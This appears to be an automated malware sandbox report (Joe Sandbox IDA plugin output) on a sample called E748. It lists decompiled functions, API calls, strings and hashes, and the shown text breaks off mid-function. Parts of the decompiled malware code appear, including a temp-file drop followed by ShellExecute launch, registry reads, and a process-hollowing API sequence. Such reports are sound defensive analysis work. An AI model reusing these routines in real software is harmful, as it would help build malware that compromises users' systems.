Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 00636F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\wywzeddt,0063702C), ref: 00636F37
GetProcAddress.KERNEL32(00000000), ref: 00636F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00636F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00636F7B

Strings

C:\Windows\SysWOW64\, xrefs: 00636F19, 00636F21, 00636F4E, 00636F55, 00636F63, 00636F6E, 00636F7A, 00636F92, 00636FAF, 00636FD5
PromptOnSecureDesktop, xrefs: 00636F86, 00636FA8, 00636FB8, 00636FCE, 00636FDE
\\.\pipe\wywzeddt, xrefs: 00636F20

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\wywzeddt
API String ID: 1082366364-4292648573
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: f831af6e987b10b69f2685681a407a11857456f0269a64a118d8998351e4399d
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 23212371B413407AF7325721AC89FFB2E4F8B52750F0880A9F804E6291CBD9C89682ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 006392B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 006392CB
wsprintfA.USER32 ref: 00639339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0063935E
lstrlen.KERNEL32(?,?,00000000), ref: 00639372
WriteFile.KERNEL32(00000000,?,00000000), ref: 0063937D
CloseHandle.KERNEL32(00000000), ref: 00639384

Strings

PromptOnSecureDesktop, xrefs: 00639314, 0063932C, 00639347

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: 1c23462d5dde02fac80d92103fdf8ee7bed55fd46fe272a05a4341ef88bc679a
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: D311B7B26401147BEB646725EC0AFEF3AAEDBC4700F008079B709E5091EEB54E4686B8

Uniqueness

Uniqueness Score: -1.00%

Function 006399CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00639A01
GetThreadContext.KERNEL32(?,?), ref: 00639A3B
TerminateProcess.KERNEL32(?,00000000), ref: 00639A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00639A81
SetThreadContext.KERNEL32(?,00010002), ref: 00639A9E
ResumeThread.KERNEL32(?), ref: 00639AAB

Strings

D, xrefs: 006399F9

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 2d356f75c388db8f51c23db503015a2a5497479941f20ad05d63194f4d01e63e
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 77216BB1D01119BBDB11DBA1DC09EEF7BBDEF05750F004160BA09E1150EBB18A44CEE4

Uniqueness

Uniqueness Score: -1.00%

Function 00631BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 00631C01
LoadLibraryA.KERNEL32(004102C8), ref: 00631C0F
GetProcessHeap.KERNEL32 ref: 00631C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 00631C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 00631CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 00631CEB
FreeLibrary.KERNEL32(?), ref: 00631CF4

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: d3e4e2b9bffd30a30b6b55867192b1c88c1766e560fc159b6f50727e1503bdc4
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: B1314D72940219BFCB119FE4DD888EEBBBAEF46311F24447AE501EA210D7B54E81DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00636CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00636CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 00636D0B
GetLastError.KERNEL32 ref: 00636D90
CloseHandle.KERNEL32(?), ref: 00636D9E
GetLastError.KERNEL32 ref: 00636DBF
DeleteFileA.KERNEL32(?), ref: 00636DD0
GetLastError.KERNEL32 ref: 00636DE6

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 338a2a033d64822f930862e08c345b020e23880f6f0d6b5fd2aeb901b3773e97
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: FB31CE72A00249BFCF11AFA4DD45ADE7FBAEF48310F14C06AF251E7251D7704A958BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004296D0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 004297CE
_wcscpy_s.LIBCMTD ref: 00429810
__invoke_watson_if_error.LIBCMTD ref: 00429819
___crtMessageBoxW.LIBCMTD ref: 00429832
_raise.LIBCMTD ref: 0042984B

Strings

Ph8S@, xrefs: 00429784

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: Ph8S@
API String ID: 908537515-3448839189
Opcode ID: bf0bbec001fb2333d19676937f415102481c7356638d0b3ae48c8b30855e30c2
Instruction ID: 56b9db9738417115b51db3a5a10598a2a771b35a41b2d052775c115d6a55f411
Opcode Fuzzy Hash: bf0bbec001fb2333d19676937f415102481c7356638d0b3ae48c8b30855e30c2
Instruction Fuzzy Hash: F34153B5F50228ABCB28DA91DC46FDAB374AB48704F5040EAF20976285D6785E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B08, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427B69
__aullrem.LIBCMT ref: 00427D36
__aulldiv.LIBCMT ref: 00427D58

Strings

0, xrefs: 00427B24
9, xrefs: 00427D69
', xrefs: 00427B08

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 891b80c7c3d5e47c62bae2c18cff33260eaf68887a307204eeebd69870ac2191
Instruction ID: 11dc76e3a3ab96dc79fff2e87073940301a4dccd96a2f6b76dfc931326db25ab
Opcode Fuzzy Hash: 891b80c7c3d5e47c62bae2c18cff33260eaf68887a307204eeebd69870ac2191
Instruction Fuzzy Hash: 474113B1E08229CFDB64DF59D889BAEBBB5BF44304F5041DAD008A7301C7389A81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434E47, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434EA8
__aullrem.LIBCMT ref: 00435075
__aulldiv.LIBCMT ref: 00435097

Strings

0, xrefs: 00434E63
', xrefs: 00434E47
9, xrefs: 004350A8

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: f5d9b6badffd3adc7de9d7794d3ac5d6783c0b6c6aeb95565887379f7d7fefd8
Instruction ID: 774e8290b37b158ecaa247b2e2a949abad0b0875cf0ee695f6d63e8793bf19e2
Opcode Fuzzy Hash: f5d9b6badffd3adc7de9d7794d3ac5d6783c0b6c6aeb95565887379f7d7fefd8
Instruction Fuzzy Hash: 9041E571D05628DFDB24CF58C899BEEB7B5FB88304F24919AD008A7245C7396E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 00639395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 006393AF
GetModuleFileNameA.KERNEL32(00000000), ref: 006393B6
CharToOemA.USER32(?,?), ref: 006393C4
wsprintfA.USER32 ref: 006393F9

Part of subcall function 006392B4: GetTempPathA.KERNEL32(00000400,?), ref: 006392CB
Part of subcall function 006392B4: wsprintfA.USER32 ref: 00639339
Part of subcall function 006392B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0063935E
Part of subcall function 006392B4: lstrlen.KERNEL32(?,?,00000000), ref: 00639372
Part of subcall function 006392B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 0063937D
Part of subcall function 006392B4: CloseHandle.KERNEL32(00000000), ref: 00639384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00639431

Strings

PromptOnSecureDesktop, xrefs: 006393E3, 006393E8, 00639405

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: b9e0984ae296978265ab8749b1d8f6e592fee15c00a983ff47f3f07e54a84448
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: AC014CF69001187BDB61A7619D89FDF3B7CDB95701F0040A6BB49E2080EAB496C98FB5

Uniqueness

Uniqueness Score: -1.00%

Function 0063AA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 0063AACE

Strings

localcfg, xrefs: 0063AD5B
, xrefs: 0063AB9C

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: 01de7f1775c074d03a467d0430f7b674eb4c46248bdc2f6d017e0e18df637d38
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: 73713C72A44304AADF218BD8DD85FEE776BEF00305F24402AF985A2191DA618D85A7DB

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
